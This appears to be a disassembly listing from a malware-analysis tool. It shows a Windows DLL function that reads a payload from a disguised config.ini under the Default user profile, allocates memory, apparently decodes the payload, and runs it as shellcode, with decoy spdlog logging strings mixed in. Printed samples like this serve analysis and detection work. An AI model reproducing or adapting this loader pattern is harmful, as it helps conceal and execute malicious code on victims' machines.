Function at 0x18000da10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
push rdi
sub rsp, 0x178
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str.C:UsersDefaultAppDataLocalMicrosoftwindowsconfig.ini
call qword [0x1800916c0]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
je 0x18000dd4a
call fcn.18000d610
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [0x1800916a0]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x50], 0xc
lea rax, [rsp + 0x110]
mov qword [rsp + 0x78], rax
lea rdx, str.Easy_padding_in_numbers_like_:08d
mov rcx, qword [rsp + 0x78]
call fcn.18001bcf0
lea rcx, [rsp + 0xb0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xb0]
call fcn.18001bca0
cmp dword [rsp + 0x40], 0
jbe 0x18000dd4a
movsd xmm0, qword [0x180081a08]
movsd qword [rsp + 0x88], xmm0
lea rax, [rsp + 0x120]
mov qword [rsp + 0x80], rax
lea rdx, str.Support_for_floats_:03.2f
mov rcx, qword [rsp + 0x80]
call fcn.18001bcf0
lea rcx, [rsp + 0xc0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0xc0]
call fcn.18001bd30
mov eax, dword [rsp + 0x40]
inc eax
mov eax, eax
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x54], 0x2a
lea rax, [rsp + 0x130]
mov qword [rsp + 0x90], rax
lea rdx, str.Support_for_int:_0:d___hex:_0:x___oct:_0:o__bin:_0:b
mov rcx, qword [rsp + 0x90]
call fcn.18001bcf0
lea rcx, [rsp + 0xd0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x54]
lea rcx, [rsp + 0xd0]
call fcn.18001bd80
cmp qword [rsp + 0x48], 0
je 0x18000dd4a
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
call qword [0x1800916b8]
lea rax, [rsp + 0x140]
mov qword [rsp + 0x98], rax
lea rdx, str.Positional_args_are_1_0..
mov rcx, qword [rsp + 0x98]
call fcn.18001bcf0
lea rcx, [rsp + 0xe0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, str.supported
lea rdx, [0x18007f50c]
lea rcx, [rsp + 0xe0]
call fcn.18001bdd0
mov edx, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
call fcn.18000dd60
mov rcx, qword [rsp + 0x48]
call fcn.1800012a0
cdqe
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x18000dd4a
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x70]
call fcn.180001320
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x5c], 0xb
mov dword [rsp + 0x60], 1
lea rax, [rsp + 0x150]
mov qword [rsp + 0xa0], rax
lea rdx, str.Welcome_to_spdlog_version_..___
mov rcx, qword [rsp + 0xa0]
call fcn.18001bcf0
lea rcx, [rsp + 0xf0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x5c]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xf0]
call fcn.18001be20
mov rcx, qword [rsp + 0x48]
call fcn.1800012a0
mov edx, eax
mov rcx, qword [rsp + 0x70]
call fcn.18000d670
lea rax, [rsp + 0x160]
mov qword [rsp + 0xa8], rax
lea rdx, str.:_8_aligned__:_8_aligned
mov rcx, qword [rsp + 0xa8]
call fcn.18001bcf0
lea rcx, [rsp + 0x100]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, str.left
lea rdx, str.right
lea rcx, [rsp + 0x100]
call fcn.18001bdd0
add rsp, 0x178
pop rdi
pop rsi
ret